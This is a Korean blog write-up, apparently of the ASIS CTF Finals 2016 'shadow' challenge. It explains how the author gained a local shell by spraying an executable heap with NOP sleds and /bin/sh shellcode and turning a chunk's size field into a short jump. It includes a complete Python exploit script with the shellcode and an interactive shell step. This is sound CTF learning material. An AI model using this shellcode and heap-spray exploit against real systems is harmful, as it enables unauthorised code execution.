-
ASIS CTF Finals 2016 - shadowCTF 2016. 9. 12. 02:14
shadow는 Tokyo Western MMA CTF에서도 비슷한 문제가 나왔다.
shadow stack 대비해서 이런 문제가 엄청많이 나오는건가.. 그건모르겠지만 그냥 패스
엄청 쉬워보였는데 다른 사람들 라업보고 다시 글 올려야겠다 ㅠㅠ 아쉽다
그냥 6시간의 삽질기를 끄적끄적 해보겠슴다 ㅠㅠ
로컬에서만 쉘따구 리모트에선 쉘을 획득하지 못했습니다 ㅠ
일단 strip이 되어있지않다는점에서 엄청난 이득을 첫번째로 맛보았다.
call로 함수를 호출하게되는데, 정말 안티 헥스레이를 본줄알았다. 함수의 인자값은 절대 보이지않는데, 하여 어셈을 읽었다 퓨ㅠㅠ
call 함수는 유저가 직접만든 shadow_stack으로 관리된다. 이건 일단 베이스로 깔고..
beer_counter를 호출하는데, 뭐하는지 보면 메뉴를 선택하는거고, malloc을 통해 메모리를 관리한다.
var_34는 우리가 입력해준 length이다. 그 밑 인스트럭션을보면 add 로 우리가 입력해준값에 9를 더해준다. 그럼 1을 입력했을때 malloc(10)이 된단소리다.
SSP: On
NX: Disabled
malloc으로 관리하는데, 여기에 힙스프레이를 했을경우 쉘을 획득 할 수 있는지 확인해보았다.
아주좋게도 rwx권한이 있다. 그래서 나는 malloc을 방대하게 할당해주고, 값은 nop과 쉘코드로 구성하려 했다.
언젠간 세그폴이 터질걸 알기에, 일단 엄청나게 malloc으로 할당해주었다.
역시나 세그폴이 발생하게된다. 힙을 확인해보면 다음과 같았다.
heap size에서 세그폴이터졌다. 세그폴이 터진 이유는 간단하게, 0x00000400이라는 주소가 없으니까 세그폴이 발생할수밖에없다.
그리고 다음 실행될 함수 주소가 들어가있고, 우리가 입력해준값이 들어가있다. 밑에 쉘코드도 보이게된다.
힙에는 x 권한이 있으니 쉘코드도 실행 할 수 있다는것은 이미 알고있다.
malloc이 할당될때는 0x00000000 + size + 입력값 .....
이렇게 진행이되는데, size는 우리가 입력해준 length가 된다. 이것과 heap에는 x권한이있다는것 두개를 합쳐보면 가젯을 만들어 사용할수 있다는 얘기다.( 이거 생각해내느라 엄청삽질함)
그럼 length를 jmp ?byte로 만들어주면되겠다. jmp 4byte면 처음 0x90909090을 만나 알아서 쉘코드를 실행해줄거다.
그래서 size값을 jmp 4 즉, eb 02, 0x02eb로 만들어주면 힙스프레이를 통해 쉘을 획들 할 수 있을것이다.
쉘을 획득 한 것을 볼수있고, 실제 리모트환경에서도 명령을 실행 할 수 있다.
이렇게 제 삽질은 끝났지만, 아쉽게도 실제 대회환경에 적용하지못해 쉘을 획득하지못했습니다 ㅠㅠㅠ 이게 정석풀이가 아니라는것은 알지만 이런방법이있다는것을 메모해놉니당.
.
[HeapSpray Exploit]
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253from socket import *from telnetlib import *import timeHOST = "10.211.55.17"PORT = 12345# HOST = "shadow.asis-ctf.ir"# PORT = 31337def recvuntil(t):data = ''while not data.endswith(t):tmp = s.recv(1)if not tmp: breakdata += tmpreturn datas = socket(AF_INET,SOCK_STREAM)s.connect((HOST,PORT))length = 747shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"payload = "\x90"*100payload += shellcodepayload += "\x90"*(length-len(payload))print s.recv(1024)s.send("747\n")def malloc():for i in range(0,720):s.send("1\n")s.send(str(length) + "\n")s.send(payload)#print s.recv(1024)########### menu selectdef modify():for x in range(0,1):s.send("2\n")s.send(str(x) + "\n")s.send("y\n")s.send(payload)for i in range(0,1):malloc()modify()t = Telnet()t.sock = st.interact()cs [요약]
1. size chunk에서 eip가 멈춤
2. heap에는 실행권한이 존재함
3. 가젯을 사용할수있기에 jmp byte 가젯을 만들어 사용함
4. 쉘코드 실행
5. 앙 쉘땄띠
'CTF' 카테고리의 다른 글
CSAW 2016 - Clams Don't Dance (0) 2016.09.19 CSAW 2016 - tutorial (0) 2016.09.18 Layer CTF sanity_check (0) 2016.09.04 Layer CTF echo_system (0) 2016.09.04 PoliCTF 2015 johns-library (0) 2016.08.24